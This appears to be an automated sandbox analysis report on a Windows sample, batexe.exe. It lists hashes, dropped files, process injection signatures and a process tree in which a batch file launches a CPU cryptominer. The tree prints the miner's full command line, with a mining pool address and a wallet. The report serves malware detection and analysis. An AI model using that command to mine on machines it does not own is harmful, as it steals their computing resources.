73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
305s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23-02-2024 15:56

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2332	b2e.exe
1380	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1380	cpuminer-sse2.exe
1380	cpuminer-sse2.exe
1380	cpuminer-sse2.exe
1380	cpuminer-sse2.exe
1380	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3780-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 2332	3780	batexe.exe	73
PID 3780 wrote to memory of 2332	3780	batexe.exe	73
PID 3780 wrote to memory of 2332	3780	batexe.exe	73
PID 2332 wrote to memory of 4316	2332	b2e.exe	74
PID 2332 wrote to memory of 4316	2332	b2e.exe	74
PID 2332 wrote to memory of 4316	2332	b2e.exe	74
PID 4316 wrote to memory of 1380	4316	cmd.exe	77
PID 4316 wrote to memory of 1380	4316	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3780
- C:\Users\Admin\AppData\Local\Temp\A2A8.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A2A8.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A2A8.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A6BF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A2A8.tmp\b2e.exe

Filesize
1.3MB

MD5
cd2e147246a8f0dc58bad676a15048ca

SHA1
0382157b28b479809d4848771f63f209292dea25

SHA256
eee07142595f07a70af1c63f13f60f8d09efd8a1f565490bf5cf7cbee1bffc1c

SHA512
196cff5a99ab1de4fd542abf69f2416c59127edefad5b875b229f1744fa9591f1ee7b3730cf7822919194ea893624c97236dbbbc5b05c3f270cc8f66c59acaaf

Download Submit
C:\Users\Admin\AppData\Local\Temp\A2A8.tmp\b2e.exe

Filesize
1.4MB

MD5
c5e09858066f182b7f5bdcb61d9b36fc

SHA1
7a1de79ffcfa17a7a86a01f8d5046eaf970b8905

SHA256
b5ede4ee58898940fa268a8aa17da9fc31eae634a8c95afcb2412ae199e8f4b6

SHA512
70e4e7cf5ec9df418480b0773c325e489749cbf6b5af491b24f6a6b2298cb043f681689531e70666787d42723d096d57012f1bccf317367908ce68a1420a6dfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\A6BF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
c3d8cd8f8528fd7e6fd62c51fd1d9058

SHA1
94047a6308f2e3bc22aaf74d5ba5b15c438757a4

SHA256
80d1ee1f1ad59a18ea733f1cb2aca8ddce62d4104d4e9346be90055b9b95cf22

SHA512
fea1e9c4ccc27b987bed71bc85988574ca7b41cbd96468ce7f62fabc96b75d4a3d34d27615e598578047b959c9b233736786c5e3cfeeffb162de991709e751cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
827e8d26b36b7574a2bf14459a3eda77

SHA1
4ac43a7fa826db1d6c98af0af8f628aa4b48cb62

SHA256
36ff800afe8285205fd55018ed1f0108e4bc41f2636921d7153eac4a3696a688

SHA512
28f20c8ed5260ad38a2523f03d88fc99044f6d864b30e4324d94547024aab8bd3619c68fd85e482179292bec1049bebda7816d6c6b560e828e11bd3da1d07c0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
e01f40bb79dc8319fe748f1eec9a08c3

SHA1
d351759a6e1c42ee4bee8fe872f8bdbf34b26e8e

SHA256
7fa4b7bf99a5e7b41c17640f0ec474bf63cf22cb69d26be61d6611752e354ff3

SHA512
ee75d6d6f38a46717dc0b72e1ac949a804d117f27b7a72f973d892ce671551d636e80421f526e85112bf321401ee757ae9378918c23694f83ccc0b4c29d5cfce

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
04ea0e79eec36f824ea467a956fd28e8

SHA1
86434e12c7f7d29d95940f24f63a0387d1658afe

SHA256
4840f2546e64eac04624bb12c0c26af397f62e994e8221db8cfeeb18c9810f47

SHA512
65a66c2788ed8967b21dd4187246acff04ff5b5929d6d3f0c3ada8aff9a3e77fbd24aab0e1816a9a338ce829b52dc1c39f2732882ae32ef32c7d19c4e2f28db3

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
2b21d98b470eaa1e9333f52f13eee54b

SHA1
7859607d8004999748e748771111d79b0f49cc33

SHA256
09103a0b454836dd86f6f9654e87228b016c301133c3a6f3cbf1d99c7068b522

SHA512
283371f7a5f2b1740764f8ec09f5858ec89d88dd7fcb3d8e7b17a2cdf4c3c6763ef92e588af643a7e4db0c83006c541562fd114858274ffd2e70ae23fa13b44f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1380-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1380-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1380-43-0x0000000066770000-0x0000000066808000-memory.dmp

Filesize
608KB

Download
memory/1380-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1380-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1380-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2332-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2332-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3780-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download